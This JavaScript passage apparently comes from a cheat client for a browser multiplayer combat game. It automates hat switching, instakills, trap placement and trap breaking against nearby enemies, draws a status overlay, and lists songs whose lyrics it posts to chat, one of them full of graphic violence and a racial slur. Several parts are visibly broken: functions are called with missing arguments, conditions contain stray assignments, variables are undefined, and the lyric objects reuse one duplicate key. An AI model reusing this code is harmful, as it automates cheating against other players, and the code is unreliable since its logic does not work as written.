placer.toggle && (pf(A.items[placer.itemIndex], ci()));
for(let i of fixed) i.run(...i.datas);
fixed = [];
let eCH = [];
let eCST = [];
let cAB = false;
let canHammer = A.weapons[1] == 10;
let iR = A.y2 >= 14400/2-774/2 && A.y2 <= 14400/2+774/2;
let sAM = [];
let sAE = [];
let stopAnothers = false;
updateEverything();
if(players.length){
players = players.sort((a, b)=>cdf(A, a)-cdf(A, b));
player = players[0];
}
if(teammates.length){
teammates = teammates.sort((a, b)=>cdf(A, a)-cdf(A, b));
teammate = teammates[0];
}
if(enemies.length){
enemies = enemies.sort((a, b)=>cdf(A, a)-cdf(A, b));
enemy = enemies[0];
if(Math.abs(A.x-enemy.x) <= 1000 && Math.abs(A.y-enemy.y) <= 470){
setZ(1920, 1080);
} else {
setZ(1920 * 1.3, 1080 * 1.3);
}
for(let i = 0;i<enemies.length;i++){
let U = enemies[i];
let dn;
let dist = cdf(A, U);
let oldDist = cdf(A, {x: U.x3, y: U.y3});
if(dist <= 63 + items.weapons[U.weapons[0]].range){
if(dist <= oldDist && oldDist > 63 + items.weapons[U.weapons[0]].range){
eCH.push(U);
if(!cAB){
cAB = canAntiBull(A) && canAntiBull(U);
}
} else if(!U.reloads[U.weapons[0]] && ((dn = Date.now() - U.hitTime) >= l.weapons[U.weapons[0]].speed && dn <= l.weapons[U.weapons[0]].speed + oT)){
eCH.push(U);
if(!cAB){
cAB = canAntiBull(A) && canAntiBull(U);
}
}
}
if(dist <= 50 + items.weapons[U.weaponIndex].range && A.inTrap && A.inTrap.health <= 272.58 && [0, 3, 4, 5].includes(U.weapons[0]) && (3 == U.weapons[0] ? U.variants[3].id >= 1 : true) && cdf(U, A.inTrap) <= 35 * 2 + 52 * 2){
eCST.push(U);
}
}
} else {
setZ(1920 * 1.3, 1080 * 1.3);
}
for(let i = 0;i<buildings.length;i++){
let z = buildings[i];
if(eCH.length){
if(!A.inTrap){
if(z.active && z.dmg && z.owner.sid != A.sid && !isAlly(A, z.owner.sid) && eCH.find(c => utils.getAngleDist(caf(c, A), caf(c, z)) <= toR(z.scale + 35)) && cdf(A, z) <= z.scale + 35 + 50){
sAM.push(z);
}
}
if(z.active && z.dmg && eCH.find(c => !c.inTrap && z.owner.sid != c.sid && !isAlly(c, z.owner.sid) && cdf(z, c) <= z.scale + 35 + 50 && utils.getAngleDist(caf(A, c), caf(A, z)) <= toR(z.scale + 35))){
sAE.push(z);
}
}
}
autoGrind.toggle || j || A.inTrap ? yi(autoGrind.toggle ? oldWeapon : A.weapons[mI == 2 || A.inTrap ? Number(canHammer) : 0], true) : hitToggle && (watcher--, hitToggle = false, hf(false));
[...autos, autoOneTick].forEach(e => e.toggle != undefined && e.toDo.length && (e.toggle = false));
autos.forEach(e => (e.auto ? !j && !A.inTrap : (e.toggle ?? true)) && enemies.forEach(t => {
!anythingWorks() && e.run(t);
}));
enemy && !anythingWorks() && autoOneTick.run(enemy);
autoPlacer.count++;
if (autoMill.toggle) {
if (cdf(A, autoMill) > l.list[A.items[3]].scale * 2) {
let n = caf({x: A.x1, y: A.y1}, A) + Math.PI;
pf(A.items[3], n - 72 * Math.PI / 180);
pf(A.items[3], n);
pf(A.items[3], n + 72 * Math.PI / 180);
autoMill.x = A.x2;
autoMill.y = A.y2;
}
} else if(enemies.length && autoPlacer.toggle){
if(autoPlacer.count > 3){
autoPlacer.count = 0;
if(!lastWorked.autoReplacer){
lastWorked.autoPlacer = true;
setTimeout(()=>lastWorked.autoPlacer = false, 150);
if(A.inTrap){
let ignore = 0;
let toTrap = caf(A, A.inTrap);
let farFromEnemy = cdf(A, enemy);
for(let i = 0;i<Math.PI*2;i+=Math.PI/6){
if(ignore){
ignore--;
} else {
if(pf(farFromEnemy <= 300 ? A.items[2] : A.items[4], toTrap+i+toTrap-i)){
ignore = Math.ceil(farFromEnemy <= 300 ? items.list[A.items[2]].scale : 50/Math.PI/6);
}
}
}
} else if(enemy.inTrap){
let toTrap = caf(A, enemy.inTrap);
let farFromTrap = cdf(A, enemy.inTrap);
if(farFromTrap <= 50 + items.list[A.items[2]].scale){
let ignore = 0;
pf(A.items[4], toTrap);
for(let i = 0;i<Math.PI;i+=Math.PI/6){
if(ignore){
ignore--;
} else {
if(pf(A.items[2], toTrap+Math.PI/2+i)){
ignore = Math.ceil(items.list[A.items[2]].scale/Math.PI/6);
} else if(pf(A.items[2], toTrap+Math.PI/2+i) && cdf(A, enemy) <= 120) {
ignore = Math.ceil(items.list[A.items[2]].scale/Math.PI/12);
}
}
}
} else if(farFromTrap <= 50 + 35 * 2 + items.list[A.items[2]].scale){
let ignore = [0, 0];
let delta = 90 * (1-(farFromTrap - 50 - items.list[A.items[2]].scale)/70);
for(let i = 0;i<toR(items.list[A.items[2]].scale);i+=toR(items.list[A.items[2]].scale)/4){
let _i = i + toR(delta);
let placed;
if(ignore[0]){
placed = false;
ignore[0]--;
} else {
if(pf(A.items[2], toTrap+_i)){
if(toD(_i) < items.list[A.items[2]].scale){
ignore[0] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
} else if(toD(_i) < items.list[A.items[2]].scale) {
ignore[0] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
} ignore[1] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
placed = true;
}
}
if(placed){
ignore[0] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
}
if(!placed || utils.getAngleDist(toTrap+_i, toTrap-_i) > toR(items.list[A.items[2]].scale)){
if(ignore[1]){
ignore[1]--;
} else {
if(pf(A.items[2], toTrap-_i)){
ignore[1] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
} else if(pf(A.items[2], toTrap-_i)) {
ignore[0] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
} else ignore[1] = Math.ceil(items.list[A.items[2]].scale/items.list[A.items[2]].scale/4);
}
}
}
}
} else {
let toEnemy = caf(A, enemy);
let farFromEnemy = cdf(A, enemy);
if(farFromEnemy < 300){
let ignore = 0;
for(let i = 0;i<Math.PI*2;i+=Math.PI/6){
if(ignore){
ignore--;
} else {
if(pf(A.items[4], toEnemy+i)){
ignore = Math.ceil(50/Math.PI/6);
}
}
}
}
if(farFromEnemy <= 280) {
let ignore = 0;
if(pf(A.items[2], toEnemy+i)) {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
pf(A.items[2], farFromEnemy+i);
}
} else {
if(farFromEnemy <= 265) {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
pf(A.items[2], farFromEnemy+i);
}
} else {
if(ignore){
ignore--;
} else {
if(farFromEnemy <= 245) {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
}
} else ignore = Math.ceil(50/Math.PI/6);
}
}
}
} else {
let ignore = 0;
if(farFromEnemy <= 300) {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
if(ignore){
ignore--;
} else {
if(farFromEnemy <= 225) {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
}
} else {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
} else {
if(farFromEnemy <= 290) {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
}
}
}
}
}
}
} else {
if(farFromEnemy <= 200 || farFromEnemy <= 210) {
if(place(A.items[2], toEnemy)) {
ignore = Math.ceil(60/Math.PI/4);
} else {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
}
}
}
} else if(farFromEnemy <= 240) {
if(place(A.items[2], toEnemy+toD(45))+place(A.items[2], toEnemy-toD(45)) && farFromEnemy <= 180) {
ignore = Math.ceil(60/Math.PI/4);
} else {
if(farFromEnemy <= 220) {
if(place(A.items[2], toEnemy)) {
ignore = Math.ceil(75/Math.PI/12);
} else if(place(A.items[2], toEnemy+_i)) {
ignore = Math.ceil(50/Math.PI/12);
} else {
if(farFromEnemy <= 200) {
if(place(A.items[2], toEnemy)) {
ignore = Math.ceil(60/Math.PI/12);
if(farFromEnemy <= 185) {
ignore = Math.ceil(70/Math.PI/6);
} else if(cdf(A, h) <= 180) {
ignore = Math.ceil(80/Math.PI/4);
} else {
if(cdf(A, enemy) <= 240) {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
} else {
pf(A.items[2], toEnemy+i)
ignore = Math.ceil(80/Math.PI/12);
}
}
} else {
if(cdf(a, enemy) <= 210) {
if(place(A.items[2], toEnemy)) {
ignore = Math.ceil(60/Math.PI/12);
} else {
place(A.items[2], toEnemy)
}
} else {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
if (pf(A.items[2], toEnemy+i)) {
ignore = Math.ceil(50/Math.PI/6);
} else {
pf(A.items[2], toEnemy-i)
ignore = Math.ceil(70/Math.PI/6);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
for (let e of [...autos, autoOneTick]) {
if (e.toDo.length) {
e.toDo.pop()();
stopAnothers = true;
break;
}
}
if(!stopAnothers){
if((autoGrind.toggle || j || A.inTrap) && !A.reloads[oldWeapon]){
if(!hitToggle){
hitToggle = true;
watcher++;
hf(true);
}
if(A.inTrap){
scriptMode = "autoBreak";
if(enemies.length && cdf(A, enemy) < 265) {
ef(eCST.length ? 6 : 40, 0);
} else if(A.y2 <= 2400) {
ef(eCST.length ? 15 : 40, 0);
} else if (cdf(e.name = "spikes") <= 50) {
ef(26, 0);
ef(11, 1);
} else {
ef(eCST.length ? 12 : 40, 0)
}
wf(caf(A, A.inTrap));
} else if(autoGrind.toggle){
ef(40, 0);
pf(A.items[5], ci() + toR(50));
pf(A.items[5], ci() - toR(50));
wf(ci());
} else if(mI == 2){
scriptMode = "tankClick";
ef(40, 0);
wf(ci());
} else {
scriptMode = mI == 1 ? "plagueClick" : "bullClick";
yi(A.weapons[0], true);
ef(mI == 1 ? 21 : 7, 0);
ef(useBW(21), 1);
wf(enemies.length ? caf(A, enemy) : ci());
}
} else {
if(!autoOneTick.stopHatting && Qe.style.display != "block"){
if(A.shameCount && ((tick - lastBullBleed) % 8 == 0 || startBullBleed)){
startBullBleed++;
ef(7, 0);
ef(11, 1);
} else if(iR){
ef(31, 0);
ef(11, 1);
} else if(A.inTrap){
if(eCH.length && cAB){
ef(11, 0);
ef(21, 1);
} else if(eCH.length){
ef(26, 0);
ef(11, 1);
} else {
if(enemies.length && cdf(A, enemy) < 250) {
ef(6, 0);
ef(11, 1)
} else if ((A.inTrap && cdf(A, e.name = "spikes") <= 50) && e.active) {
ef(26, 0);
ef(11, 1);
} else {
ef(12, 0)
ef(11, 1)
}
}
} else if(eCH.length && (sAE.length || sAM.length)){
ef(26, 0);
ef(11, 1);
} else if(!A.reloads[A.weapons[0]] && eCH.length && cAB){
ef(11, 0);
ef(21, 1);
} else if(enemies.length && cdf(A, enemy) < 210){
ef(6, 0);
ef(eCH.length ? 21 : 11, 1);
} else if(A.y2 <= 2400){
ef(15, 0);
ef(11, 1);
} else {
ef(12, 0);
ef(11, 1);
}
}
if(!watcher){
wf(ci());
}
}
}
document.getElementById("itemCounts16").innerHTML = Math.floor(A.food / items.list[A.items[0]].consume);
document.getElementById("itemCounts17").innerHTML = Math.floor(A.food / items.list[A.items[0]].consume);
document.getElementById("itemCounts18").innerHTML = Math.floor(A.food / items.list[A.items[0]].consume);
informationMenu.innerHTML = `
<div style="font-size: 14px;">
<br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e8ffc2, 0 0 22px #e60073, 0 0 22px #e60073;
font-size: 28px;">
LenoveTrax-X - Client
</label>
</br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e60073, 0 0 22px #e60073, 0 0 22px #e8ffc2;
font-size: 21px;">
___________________
</label>
<br>
</br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e60073, 0 0 22px #e8ffc2, 0 0 22px #e60073;
font-size: 17px;">
Auto-insta: ${autoInstakill.toggle}
</label>
<br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e8ffc2, 0 0 22px #e60073, 0 0 22px #e60073;
font-size: 17px;">
Adv-Place: ${autoMill.toggle}
</label>
<br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e8ffc2, 0 0 22px #e60073, 0 0 22px #e60073;
font-size: 17px;">
Heal: your ms
</label>
<br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e60073, 0 0 22px #e8ffc2, 0 0 22px #e60073;
font-size: 17px;">
Place: ${autoPlacer.toggle}
</label>
<br>
<label style="text-shadow: 0 0 12px #fff, 0 0 20px #fff, 0 0 22px #f0f, 0 0 22px #0ff, 0 0 22px #e60073, 0 0 22px #e60073, 0 0 22px #e8ffc2;
font-size: 17px;">
Ping: ${window.pingTime}
</label>
<br>
</div>`;
}
//uals: ${visualGet.toggle}<br>
var visualGet = {
toggle: false
}
var informationMenu = Object.assign(document.createElement("div"), {
id: "informationMenu",
borderRadius: "4px",
textAlign: "left",
});
informationMenu.id = "status";
informationMenu.style.position = "absolute";
informationMenu.style.color = "#000";
informationMenu.style.font = "15px Hammersmith One";
informationMenu.style.top = "40px";
informationMenu.style.left = "40px";
informationMenu.style.display = "none";
informationMenu.textAlign = "right";
var mapDisplay = document.getElementById("mapDisplay")
Object.assign(mapDisplay.style, {
background: "rgba(0,0,0,0)"
})
document.getElementById("gameUI").appendChild(informationMenu);
//document.getElementById("gameUI").appendChild(modMenus);
informationMenu.style.display = "block";
//modMenus.style.display = "block";
function cdf (e, t){
try {
return Math.hypot((t.y2||t.y)-(e.y2||e.y), (t.x2||t.x)-(e.x2||e.x));
} catch(e){
return Infinity;
}
}
function caf (e, t){
try {
return Math.atan2((t.y2||t.y)-(e.y2||e.y), (t.x2||t.x)-(e.x2||e.x));
} catch(e){
return 0;
}
}
function numArr(e = 0, t = 1, act, n = 1){
let arr = [];
for(let i = e;i<t;i+=n){
arr.push(i);
typeof act == "function" && act(i);
}
return arr;
}
function rand(e = 1, t = 2){
return Math.random() * (t - e) + e;
}
function updateEverything(){
let firstRun = false;
for(let i = 0;i<buildings.length;i++){
let n = buildings[i];
for(let U of players){
if(!U.inTrap && n.id == 15 && n.owner.sid != U.sid && !isAlly(U, n.owner.sid) && cdf(U, n) <= 50){
U.inTrap = n;
}
}
firstRun = true;
}
}
function isAlly(e, t){
t = typeof t == "number" ? bn(t) || {sid: t, visible: false} : t;
if(e == A || It.includes(t.sid)){
return It.includes(t.sid);
} else if(e.visible && t.visible){
return e.team && e.team == t.team;
}
}
function canAntiBull(e){
return [3, 4, 5].includes(e.weapons[0]) && (3 == e.weapons[0] ? e.variants[3].id >= 2 : true);
}
function useBW(e){
return A.health < 100 ? 18 : e;
}
function updC(e, t){
try {
if(e == 1) {
numArr(19, 22, (i)=>{
document.getElementById("itemCounts" + i.toString()).innerHTML = t;
});
}else if(e == 2) {
numArr(22, 26, (i)=>{
document.getElementById("itemCounts" + i.toString()).innerHTML = t;
});
}else if(e == 3) {
numArr(26, 29, (i)=>{
document.getElementById("itemCounts" + i.toString()).innerHTML = t;
});
}else if(e == 4) {
document.getElementById("itemCounts29").innerHTML = t;
} else if(e >= 5 && e <= 10) {
document.getElementById(`itemCounts${e+26}`).innerHTML = t;
}else if(e == 11) {
document.getElementById("itemCounts30").innerHTML = t;
}else if(e >= 12 && e <= 13) {
document.getElementById(`itemCounts${e+25}`).innerHTML = t;
}
} catch(e){}
}
function checkElement(e) {
return null !== e.offsetParent
}
function toR(e){
var n = (e*Math.PI/180) % (2 * Math.PI);
return n > Math.PI ? Math.PI - n : n
}
function toD(e){
var n = (e/Math.PI*360) % 360;
return n >= 360 ? n - 360 : n;
}
function toggleSing(){
singing.toggle = !singing.toggle;
singing.timeouts.forEach(e => clearTimeout(e));
singing.timeouts = [];
let song = songs.find(e => e.name == singing.name);
if (singing.toggle && singing.audio) {
singing.audio.onended = function() {
singing.toggle = false;
singing.audio.currentTime = 0;
singing.audio.pause()
};
singing.audio.play();
for (let time in song.sync) {
let message = song.sync[time];
singing.timeouts.push(setTimeout(() => {
cf(message ?? "");
}, time));
}
} else {
singing.audio && (singing.audio.currentTime = 0, singing.audio.pause());
}
}
var songs = [{
name: "Rival - Walls",
src: "",
sync: {
"::": "I was ready to surrender",
"::": "my heart to you",
"::": "only you",
"::": "These lights",
"::": "all around me keep",
"::": "blinding my eyes from you",
"::": "and the truth",
"::": "Don't tell me",
"::": "don’t tell",
"::": "me",
"::": "don't tell me why",
"::": "I know",
"::": "I know no you won't",
"::": "save my life",
"::": "save my life",
"::": "If you keep on",
"::": "you keep",
"::": "on you making the waves",
"::": "You and I will never be sane",
"::": "be sane",
"::": "If these walls come down",
"::": "Will you pick me",
"::": "off the ground",
"::": "If these walls come down",
"::": "Will you save me",
"::": "or burn me down",
"::": "I was ready to surrender",
"::": "my heart to you",
"::": "only you",
"::": "These lights",
"::": "all around me keep",
"::": "blinding my eyes from you",
"::": "and the truth",
"::": "Don’t tell me",
"::": "don't tell",
"::": "me",
"::": "don't tell me why",
"::": "I know",
"::": "I know no you won't",
"::": "save my life",
"::": "save my life",
"::": "If you keep on",
"::": "you keep",
"::": "on you making the waves",
"::": "You and I will never be sane",
"::": "be sane",
"::": "If these walls come down",
"::": "Will you pick me",
"::": "off the ground",
"::": "If these walls come down",
"::": "Will you save me",
"::": "or burn me down",
},
}, {
name: "Rival - Be Gone",
src: "",
sync: {
"::": "You",
"::": "you just walk right",
"::": "out the door",
"::": "Don’t wanna do this anymore",
"::": "Now I’m lost without you",
"::": "You",
"::": "drive me crazy out my mind",
"::": "How’d you do this every time?",
"::": "Now I’m lost without you",
"::": "Used to be the one",
"::": "I talk to when I’m sad",
"::": "Can’t you see",
"::": "now tainted love is",
"::": "all we have?",
"::": "Our issues run so deep",
"::": "Now when I try to",
"::": "sleep I feel so bad",
"::": "I should leave",
"::": "and by the time it’s dawn",
"::": "I’ll be gone",
"::": "I should leave",
"::": "and by the time it’s dawn",
"::": "I’ll be gone",
"::": "You’re",
"::": "so distant when you’re home",
"::": "Always hanging by your phone",
"::": "Do I even know you?",
"::": "And I",
"::": "get paranoid sometimes",
"::": "‘Cause I know that",
"::": "you ain’t mine",
"::": "And I’m lost without you",
"::": "Used to be the one",
"::": "I talk to when I’m sad",
"::": "Can’t you see",
"::": "now tainted love is",
"::": "all we have?",
"::": "Our issues run so deep",
"::": "Now when I try to",
"::": "sleep I feel so bad",
"::": "I should leave",
"::": "and by the time it’s dawn",
"::": "I’ll be gone",
"::": "I’ll be gone",
},
}, {
name: "Rival - Lonely Way",
src: "",
sync: {
"::": "I don't wanna fight anymore",
"::": "Just turn around",
"::": "and leave me",
"::": "The tear in my eye",
"::": "drops on the floor",
"::": "Alongside my spear",
"::": "My knees are drenched in",
"::": "In the blood",
"::": "I've spilled just to get here",
"::": "When I look around me",
"::": "Everything",
"::": "I had went up in flames",
"::": "My lonely way",
"::": "When I look around me",
"::": "Everything",
"::": "I had went up in flames",
"::": "My lonely way",
"::": "I never pray to God anymore",
"::": "I'd rather no one heard me",
"::": "Redemption",
"::": "I have waited for you to come",
"::": "And drown all my sins",
"::": "My knees are drenched in",
"::": "In the blood",
"::": "I've spilled just to get here",
"::": "When I look around me",
"::": "Everything",
"::": "I had went up in flames",
"::": "(My lonely way)",
},
}, {
name: "Rival - Throne",
src: "",
sync: {
"::": "So you wanna go to war with me",
"::": "You're talking like",
"::": "you think you're royalty",
"::": "You think that I'm afraid",
"::": "But I don't break",
"::": "I heard you question",
"::": "my stability",
"::": "You think I'll fall",
"::": "just like a guillotine",
"::": "But I am here to stay",
"::": "Won't look away",
"::": "A storm is coming",
"::": "So you best start running",
"::": "No",
"::": "you can't control",
"::": "feel it in my bones",
"::": "I'm coming for the-",
"::": "Coming for the-",
"::": "Oh-oh, oh-oh-ohv",
"::": "Oh-oh, oh-oh-oh",
"::": "Oh-oh, oh-oh-oh",
"::": "I'm coming for the throne",
"::": "I'm coming for the throne",
"::": "Mh-mh, mh-mh-mh",
"::": "Mh-mh, mh-mh-mh",
"::": "Mh-mh, mh-mh-mh, mh-mh-mh",
"::": "So you wanna be my enemy",
"::": "You should have known",
"::": "I'd never kiss the ring",
"::": "Ice runs in my veins",
"::": "Won't play it safe",
"::": "I don't belong",
"::": "with your nobility",
"::": "Who died and",
"::": "made you king of anything?",
"::": "You think that I'm insane",
"::": "That's your mistake",
"::": "Kingdoms rise and fall",
"::": "I've come to take it all",
"::": "I'll take it",
"::": "I've come to take it",
"::": "Kingdoms rise and fall",
"::": "I've come to take it all",
"::": "I'll take it all",
"::": "The storm is coming",
"::": "So you best start running",
"::": "No, you can't control",
"::": "feel it in my bones",
"::": "I'm coming for the",
"::": "coming for the",
"::": "Oh-oh, oh-oh-oh",
"::": "Oh-oh, oh-oh-oh",
"::": "Oh-oh, oh-oh-oh",
"::": "I'm coming for the throne",
"::": "I'm coming for the throne",
"::": "Mh-mh, mh-mh-mh",
"::": "Mh-mh, mh-mh-mh",
"::": "Mh-mh, mh-mh-mh, mh-mh-mh",
"::": "Oh-oh, oh-oh-oh",
"::": "Oh-oh, oh-oh-oh",
"::": "Oh-oh, oh-oh-oh, oh-oh-oh",
},
}, {
name: "Rival - Control",
src: "",
sync: {
"::": "Take me in the smoke",
"::": "Breathe me in and let me go",
"::": "Filling the lungs inside you",
"::": "In the black of night",
"::": "Make my way into your mind",
"::": "Just to know what you knew",
"::": "Restless every time",
"::": "We start lockin' eyes",
"::": "Oh, oh, oh, oh",
"::": "Lost control",
"::": "Oh",
"::": "it's paradise",
"::": "With a nasty bite",
"::": "Oh, oh, oh, oh",
"::": "In the dead of the night",
"::": "Let the darkness take control",
"::": "Let the darkness take control",
"::": "Darkness take control",
"::": "May the darkness take control",
"::": "Take me in the smoke",
"::": "Breathe me in and let me go",
"::": "Sink to your heart to find you",
"::": "Open up your eyes",
"::": "till you're blinded",
"::": "by the lies",
"::": "So you can see what you do",
"::": "Restless every time",
"::": "We start lockin' eyes",
"::": "Oh, oh, oh, oh",
"::": "Lost control",
"::": "Oh",
"::": "it's paradise",
"::": "With a nasty bite",
"::": "Oh, oh, oh, oh",
"::": "In the dead of the night",
"::": "Teardrops on the floor",
"::": "The pain is over",
"::": "Feel the darkness take control",
"::": "May the darkness take control",
},
}, {
name: "Egzod - No Rival",
src: "https://cdn.discordapp.com/attachments/1059159650026659842/1075173234263203861/Egzod_Maestro_Chives_Alaina_Cross_-_No_Rival_NCS_Release.mp3",
sync: {
"12:679": "Here and now",
"13:730": "you're coming up to me",
"15:197": "'Fore I'm lighting up the sky",
"18:565": "Feel the ground",
"19:855": "shaking underneath",
"21:346": "Tryna take me alive",
"24:415": "Oh-oh-oh-oh-oh-oh-oh",
"26:906": "Get ready for the fallout",
"30:357": "Oh-oh-oh-oh-oh-oh-oh",
"33:26": "Can't stop me now",
"35:154": "I got no rival",
"37:463": "I'ma find my way",
"39:615": "Through the blood and pain",
"41:162": "Game of survival",
"43:463": "Any time or place",
"45:577": "Watch 'em run away",
"47:337": "I got no-",
"49:78": "I'll be standing on my own",
"51:259": "Never gonna take my thrown",
"53:389": "I got no rival",
"55:349": "Watch 'em run away",
"57:320": "I got no, no, no",
"58:789": "I got no, no, no rival",
"1:0:227": "No rival",
"1:11:329": "No rival",
"1:17:295": "No Rival",
"1:24:694": "Tell them now what you gon' do",
"1:27:265": "We can do this face-to-face",
"1:30:316": "Reckoning is coming real soon",
"1:33:254": "Doesn't matter what you say",
"1:36:175": "Tryna tell you",
"1:37:203": "listen to the moment",
"1:38:512": "Can't take mine 'cause I own it",
"1:42:714": "Don't you know that",
"1:43:869": "I'm locked and I'm loaded?",
"1:45:389": "You're out of focus",
"1:48:202": "Oh-oh-oh-oh-oh-oh-oh",
"1:51:61": "Get ready for the fallout",
"1:54:362": "Oh-oh-oh-oh-oh-oh-oh",
"1:56:885": "Can't stop me now",
"1:59:205": "I got no rival",
"2:1:383": "I'ma find my way",
"2:3:722": "Through the blood and pain",
"2:5:242": "Game of survival",
"2:7:461": "Any time or place",
"2:9:631": "Watch 'em run away",
"2:11:210": "I got no-",
"2:12:959": "I'll be standing on my own",
"2:15:221": "Never gonna take my throne",
"2:17:141": "I got no rival",
"2:19:351": "Watch 'em run away",
"2:21:221": "I got no, no, no",
"2:22:770": "I got no, no, no rival",
"2:24:149": "No rival",
"2:29:116": "No rival",
"2:33:194": "I got no, no, no",
"2:34:695": "I got no, no, no rival",
"2:41:239": "No rival",
"2:59:204": "No rival",
},
}, {
name: "do not resurrect - Necrotic Grip",
src: "",
sync: {
"::": "Back off",
"::": "I came to play",
"::": "with my hacksaw",
"::": "Bash in your brain",
"::": "with my mask off",
"::": "Yea try to pray",
"::": "for the last time",
"::": "Lame and you mad",
"::": "but you hate",
"::": "cuz your cash wrong",
"::": "I don't want love",
"::": "I want matte Glocks",
"::": "I'll eat ya heart",
"::": "like it's bath salts",
"::": "I'll leave",
"::": "his lung on the asphalt",
"::": "I'll leave",
"::": "your tongue in a glass jar",
"::": "Murder with a black SCAR",
"::": "He don't wanna dump",
"::": "What the fuck",
"::": "is it that hard?",
"::": "He don't wanna buck",
"::": "He respond with a sad bar",
"::": "Nigga shoulda ducked",
"::": "but he run like a track star",
"::": "I came to play",
"::": "with my hacksaw",
"::": "I don't want pain",
"::": "I want matte Glocks",
"::": "I'll eat ya heart",
"::": "like it's bath salts",
"::": "I'll leave",
"::": "his lung on the asphalt",
"::": "Now I just be sippin'",
"::": "sippin'",
"::": "sippin' slow on the blood",
"::": "I collect from you fuckers",
"::": "And I could be vicious",
"::": "witness never told of",
"::": "the souls that",
"::": "I left in my dungeon",
"::": "Now cuz of my pigment",
"::": "I been predisposed to unload",
"::": "and attack in abundance",
"::": "But that's just",
"::": "the shit they said",
"::": "I go and murder cuz simply",
"::": "the fact that I love it",
"::": "But it's back to the subject",
"::": "Stacking bodies by the dozen",
"::": "Whippin' Audis outta budget",
"::": "Godly while I'm thumpin'",
"::": "You would probly",
"::": "caught a couple",
"::": "Grippin' probly why",
"::": "I'm fucked and",
"::": "I don't plan on stoppin'",
"::": "She do molly while we fuckin'",
"::": "Creepin' I might grab a snub",
"::": "I caught him out in public",
"::": "Beam, he saw it",
"::": "'fore it snuffed him",
"::": "He was talking like he tough",
"::": "and now he not so lucky",
"::": "Back off",
"::": "I came to play",
"::": "with my hacksaw",
"::": "Bash in your brain",
"::": "with my mask off",
"::": "Yea try to pray",
"::": "for the last time",
"::": "Lame and you mad",
"::": "but you hate",
"::": "cuz your cash wrong",
"::": "I don't want love",
"::": "I want matte Glocks",
"::": "I'll eat ya heart",
"::": "like it's bath salts",
"::": "I'll leave",
"::": "his lung on the asphalt",
"::": "I'll leave",
"::": "your tongue in a glass jar",
"::": "Murder with a black SCAR",
"::": "He don't wanna dump",
"::": "What the fuck",
"::": "is it that hard?",
"::": "He don't wanna buck",
"::": "He respond with a sad bar",
"::": "Nigga shoulda ducked",
"::": "but he run like a track star",
"::": "I came to play",
"::": "with my hacksaw",
"::": "I don't want pain",
"::": "I want matte Glocks",
"::": "I'll eat ya heart",
"::": "like it's bath salts",
"::": "I'll leave",
"::": "his lung on the asphalt",
"::": "I came to play",
"::": "with my hacksaw",
"::": "I don't want pain",
"::": "I want matte Glocks",
"::": "I'll eat ya heart",
"::": "like it's bath salts",
"::": "I'll leave",
"::": "his lung on the asphalt",
"::": "I came to play",
"::": "with my hacksaw",
"::": "I don't want pain",
"::": "I want matte Glocks",
"::": "I'll eat ya heart",
"::": "like it's bath salts",
"::": "I'll leave",
"::": "his lung on the asphalt",
},
}, {
name: "Witchouse 40k - Black Rainbow",
src: "",
sync: {
"::": "Terror when she told me",
"::": "mmm",
"::": "“This is what you wanted”",
"::": "Somebody to hold me",
"::": "mmm",
"::": "It's all I ever wanted",
"::": "Terror when she told me",
"::": "mmm",
"::": "“This is what you wanted”",
"::": "Somebody to hold me",
"::": "mmm",
"::": "It's all I ever wanted",
"::": "Mhmm",
"::": "Mhmm",
"::": "Mhmm",
"::": "Mhmm",
"::": "All I've got is time",
"::": "No hands, no crown",
"::": "Eternal the shine",
"::": "When no one’s around",
"::": "I’ve had no plans",
"::": "on the lately",
"::": "Paranoid they smile",
"::": "when they hate me",
"::": "Fuck a urinal",
"::": "piss in the mainstream",
"::": "What I gotta chop off",
"::": "so you’ll place me",
"::": "Choppin’ up snakey",
"::": "Demons ovеrtake me",
"::": "Nevеr had a good reason",
"::": "to be hasty",
"::": "‘Til the wheels",
"::": "fell off of the daydream",
"::": "Yeah we would just take it",
"::": "when we lazy",
"::": "Didn’t hesitate it’s wild",
"::": "How we justify omega",
"::": "When we get a taste of venom",
"::": "Turn a quick fix",
"::": "into big dilemma",
"::": "I’m a dog",
"::": "but I’m not sure",
"::": "if I’ll go to heaven",
"::": "Thought I knew better",
"::": "Sneaking pills from her purse",
"::": "Bitch move",
"::": "I belong in a hearse",
"::": "Addy got me feeling",
"::": "like I’m fallin' in reverse",
"::": "Patty told me hiding in",
"::": "the shadows really",
"::": "only gonna make it worse",
